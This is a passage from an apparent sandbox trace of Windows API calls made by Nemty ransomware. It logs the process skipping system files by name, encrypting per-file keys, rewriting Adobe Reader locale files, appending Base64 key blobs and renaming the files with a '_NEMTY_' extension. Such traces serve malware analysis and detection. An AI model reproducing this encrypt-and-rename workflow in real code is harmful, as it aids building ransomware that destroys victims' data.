dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.506] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\checkers.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\checkers.hrv._nemty_kgobjgd_")) returned 1 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.507] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.HRV", cAlternateFileName="")) returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2=".") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="..") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="...") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="windows") returned -1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="rsa") returned -1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="NTDETECT.COM") returned -1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="ntldr") returned -1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="MSDOS.SYS") returned -1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="IO.SYS") returned -1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="boot.ini") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="boot.ini") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="ntuser.dat") returned -1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="desktop.ini") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="CONFIG.SYS") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="RECYCLER") returned -1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="bootmgr") returned 1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="programdata") returned -1 [0177.507] lstrcmpiW (lpString1="DigSig.HRV", lpString2="appdata") returned 1 [0177.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.508] Sleep (dwMilliseconds=0x5) [0177.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d7382d0, dwHighDateTime=0x1d561e8)) [0177.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d7382d0, dwHighDateTime=0x1d561e8)) [0177.510] GetLastError () returned 0x0 [0177.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.510] GetLastError () returned 0x0 [0177.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.510] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.510] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.511] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.511] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="fxy9/l5sPaJYDNRjfzY+qePfT1yaXsYAWPd06KrK+LUqcooYiH4mmuJvacjjoj6U\r\ntPPAxMAq9tvYp6GqZWz9sguKkIHhEsDvJ+rZ65T0GP/LZ6Ml5EYZU4RR8HA9EKVJ\r\nY4hPr63+HV5Jo2WG3qUVSXuVDO3E8430BkQZvEppf57wCrqfhJ19OkatM30nMHsR\r\nAnbZz1E5va1wDeIdY1vHFLy6B24u+rpvR/7O3c7uJT0j7ClQF+Q4JVx+o/D4lBp1\r\nP3Uy5kydGp+s2KZW7sLND+h6OsfHjWjPmkOm4ET+OnqrnZtC/czNbPZuK7xU2PXV\r\n6Jmp7s6MFVFnEaVQ0tVlHw==\r\n", pcchString=0x653e5dc) returned 1 [0177.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\digsig.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.511] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=127488) returned 1 [0177.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.511] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.511] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.520] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.520] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.520] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=127488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f200 [0177.520] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.520] CloseHandle (hObject=0x2e8) returned 1 [0177.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.521] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\digsig.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\digsig.hrv._nemty_kgobjgd_")) returned 1 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.521] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.HRV", cAlternateFileName="")) returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2=".") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="..") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="...") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="windows") returned -1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="rsa") returned -1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="NTDETECT.COM") returned -1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="ntldr") returned -1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="MSDOS.SYS") returned -1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="IO.SYS") returned -1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="boot.ini") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="boot.ini") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="ntuser.dat") returned -1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="desktop.ini") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="CONFIG.SYS") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="RECYCLER") returned -1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="bootmgr") returned 1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="programdata") returned -1 [0177.522] lstrcmpiW (lpString1="DVA.HRV", lpString2="appdata") returned 1 [0177.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HRV", lpUsedDefaultChar=0x0) returned 7 [0177.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HRV", lpUsedDefaultChar=0x0) returned 7 [0177.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HRV", lpUsedDefaultChar=0x0) returned 7 [0177.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HRV", lpUsedDefaultChar=0x0) returned 7 [0177.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.523] Sleep (dwMilliseconds=0x5) [0177.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d75e430, dwHighDateTime=0x1d561e8)) [0177.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d75e430, dwHighDateTime=0x1d561e8)) [0177.526] GetLastError () returned 0x0 [0177.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.526] GetLastError () returned 0x0 [0177.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.526] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.526] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.526] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.526] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="G7DvpFhELtIuMgbjCqH7voXpqnLmzGkWfnu3TEr6t/ibTpL1JMRgHpzjSY0zW7La\r\npERKkJ3EBzV35IhOKQzrrGtfALfX883sqV9fQTP9GtvTd+fof99Q8LBHzPuWxe3b\r\nWcmtwF3lRAsxoQQWJndZs+PbTSQQb8J3nK6YvhtzIRhGHTBBXcp7B8N97rxhpMId\r\ntpWq//Ekeo/SpmgBotDvnw3BWQVfXpohDyg5Nufju3y9v+fgEgJvLo5uR8khC7J+\r\n04FejI5hOU2CxNKMcbFYV8FI9onKvXdCHUHJpjaQGdjqWCtHZMma8b2gcpdyNLdE\r\nkFLXrGyKb/Lxt1vJ1T0XHQ==\r\n", pcchString=0x653e5dc) returned 1 [0177.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\dva.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.527] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18432) returned 1 [0177.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4800) returned 0x6352c48 [0177.527] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.527] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4800, lpOverlapped=0x0) returned 1 [0177.529] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.529] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4800, lpOverlapped=0x0) returned 1 [0177.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.529] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4800 [0177.530] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.530] CloseHandle (hObject=0x2e8) returned 1 [0177.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 